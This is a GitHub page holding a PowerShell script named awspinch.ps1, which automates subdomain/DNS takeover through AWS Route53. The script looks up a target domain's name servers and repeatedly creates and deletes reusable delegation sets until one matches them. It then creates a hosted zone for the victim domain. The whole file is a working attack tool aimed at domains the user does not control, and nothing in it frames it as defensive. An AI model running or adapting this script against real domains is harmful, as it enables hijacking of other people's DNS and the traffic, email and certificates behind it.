-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathawspinch.ps1
82 lines (74 loc) · 2.94 KB
/
awspinch.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#AwsPinch - Try and take over a target site whose name server records are in AWS Delegation Sets (DS) in Route53
Function Find-AwsPinch {
[CmdletBinding()]
param (
[Parameter(HelpMessage = "List of target domain names, separated by commas")]
[string[]]$Targets,
[Parameter(HelpMessage = "The DNS server for finding the NS records for your targets")]
[string]$Server = "8.8.8.8",
[Parameter(HelpMessage = "Do you want to cache unsuccessful name server records?")]
[switch]$Cache,
[Parameter(HelpMessage = "Do you want to run in parallel?")]
[switch]$Parallel
)
# Params: Server, Targets, Cache, Parallel
if (-not (Get-AwsCredential)) { throw "You are not logged in to AWS - use Set-AwsCredential." }
$matchServers = @()
$serverDict = @{}
# First argument is the endpoint.
foreach ($targetsite in $Targets) {
if ( $null -eq $targetsite -or $targetsite.Length -eq 0 ) { throw "Failed - no argument supplied" }
$servers = ( Resolve-DnsName -Type NS $targetsite -Server $Server | Where-Object section -eq 'Answer' ).NameHost
if ( $servers -notmatch 'awsdns' ) { throw "Failed - servers for $targetsite aren't at AWS" }
$matchServers += $servers
# TODO: Potentially, this could collide. Make $serverDict[server] be a list.
foreach ($server in $matchServers) { $serverDict[$server] = $targetsite }
}
# Caller reference requires to be different each time. 5 random letters, plus a number, is what I choose.
$randprefix = -join ( 'a'..'z' | Get-Random -Count 5 )
# Check against existing cache.
$cachedDS = Get-R53ReusableDelegationSetList
$takeover = @()
ForEach ($q in $cachedDS) {
$qq = Compare-Object $q.NameServers $matchServers -ExcludeDifferent
foreach ($server in $qq.InputObject) {
if ($serverDict.ContainsKey($server)) {
$takeover += [PSCustomObject]@{
Server = $server
Id = $q.Id
Target = $serverDict[$server]
}
}
}
}
if ($takeover.Count -eq 0) {
$nomatch = $true
$crumb = 1
while ($nomatch) {
Write-Progress "Try number $crumb"
$q = (New-R53ReusableDelegationSet -CallerReference $randprefix$crumb).DelegationSet
$qq = Compare-Object $q.NameServers $matchServers -ExcludeDifferent
if ( $qq.Count -ne 0 ) {
foreach ($server in $qq.InputObject) {
if ($serverDict.ContainsKey($server)) {
$takeover += [PSCustomObject]@{
Server = $server
Id = $q.Id
Target = $serverDict[$server]
}
}
}
break;
}
if (-not $Cache) {
Remove-R53ReusableDelegationSet -Id $q.Id -Confirm:$false
}
$crumb++
}
}
if ($takeover.Count -ne 0) {
foreach ($q in $takeover) {
New-R53HostedZone -Name $q.Target -CallerReference $($randprefix)Success -DelegationSetId $q.Id
}
}
}